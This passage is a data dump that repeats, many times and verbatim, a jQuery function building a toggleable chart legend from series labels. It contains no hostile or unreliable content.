name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n 